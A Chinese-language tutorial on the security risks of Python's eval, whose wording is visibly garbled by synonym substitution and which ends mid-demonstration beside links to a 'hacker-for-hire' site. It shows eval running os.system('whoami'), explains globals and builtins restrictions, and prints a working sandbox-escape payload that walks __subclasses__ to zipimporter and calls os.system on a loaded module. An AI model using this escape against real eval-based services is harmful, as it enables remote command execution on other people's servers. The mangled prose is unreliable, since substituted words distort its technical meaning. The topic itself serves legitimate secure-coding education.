Python中eval带来的潜在危险
eval是Python用于履行python表达式的一个内置函数,运用eval,能够很便利的将字符串动态履行。比方下列代码:
>>> eval("1+2")
>>> eval("[x for x in range(10)]")
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
当内存中的内置模块含有os的话,eval相同能够做到指令履行:
>>> import os
>>> eval("os.system('whoami')")
win-20140812chjadministrator
当然,eval只能履行Python的表达式类型的代码,不能直接用它进行import操作,但exec能够。假如非要运用eval进行import,则运用__import__:
>>> exec('import os')
>>> eval('import os')
Traceback (most recent call last):
File "", line 1, in module>
File "", line 1
import os
^
SyntaxError: invalid syntax
>>> eval("__import__('os').system('whoami')")
win-20140812chjadministrator
在实践的代码中,往往有运用客户端数据带入eval中履行的需求。比方动态模块的引进,举个栗子,一个在线爬虫渠道上爬虫或许有多个而且坐落不同的模块中,服务器端但往往只需要调用用户在客户端挑选的爬虫类型,并经过后端的exec或许eval进行动态调用,后端编码完成十分便利。但假如对用户的恳求处理不恰当,就会形成严峻的安全漏洞。
0x01 “安全”运用eval
现在发起最多的便是运用eval的后两个参数来设置函数的白名单:Eval函数的声明为eval(expression[, globals[, locals]])其间,第二三个参数别离指定能够在eval中运用的函数等,假如不指定,默以为globals()和locals()函数中 包括的模块和函数。
>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
File "", line 1, in module>
File "", line 1, in module>
NameError: name 'os' is not defined
假如指定只允许调用abs函数,能够运用下面的写法:
>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
20
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
File "", line 1, in module>
File "", line 1, in module>
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator
运用这种办法来防护,的确能够起到必定的效果,可是,这种处理办法或许会被绕过,然后形成其他问题!
0x02 绕过履行代码1
被绕过的情形如下,小明知道了eval会带来必定的安全危险,所以运用如下的手法去避免eval履行恣意代码:
env = {}
env["locals"] = None
env["globals"] = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
eval(users_str, env)
Python中的__builtins__是内置模块,用来设置内置函数的模块。比方了解的abs,open等内置函数,都是在该模块中以字典的办法存储的,下面两种写法是等价的:
>>> __builtins__.abs(-20)
20
>>> abs(-20)
20
咱们也能够自定义内置函数,并像运用Python中的内置函数相同运用它们:
>>> def hello():
... print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi
小明将eval函数的效果域中的内置模块设置为None,如同看起来很完全了,但仍然能够被绕过。__builtins__是__builtin__的一个引证,在__main__模块下,两者是等价的:
>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136
依据黑客接单渠道drops说到的办法,运用如下代码即可:
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
上面的代码首要运用__class__和__subclasses__动态加载了object目标,这是由于eval中无法直接运用object。然后运用object的子类的zipimporter对egg压缩文件中的configobj模块进行导入,并调用其内置模块中的os模块然后完成指令履行,当然,条件是要有configobj的egg文件。configobj模块很有意思,竟然内置了os模块:
>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
和configobj相似的模块如urllib,urllib2,setuptools等都有os的内置,理论上运用哪个都行。假如无法下载egg压缩文件,能够下载带有setup.py的文件夹,参加:
from setuptools import setup, find_packages
然后履行:
python setup.py bdist_egg
就能够在dist文件夹中找到对应的egg文件。绕过demo如下:
>>> env = {}
>>> env["locals"] = None
>>> env["globals"] = None
>>> env["__name__"] = None
[1] [2] [3] 黑客接单网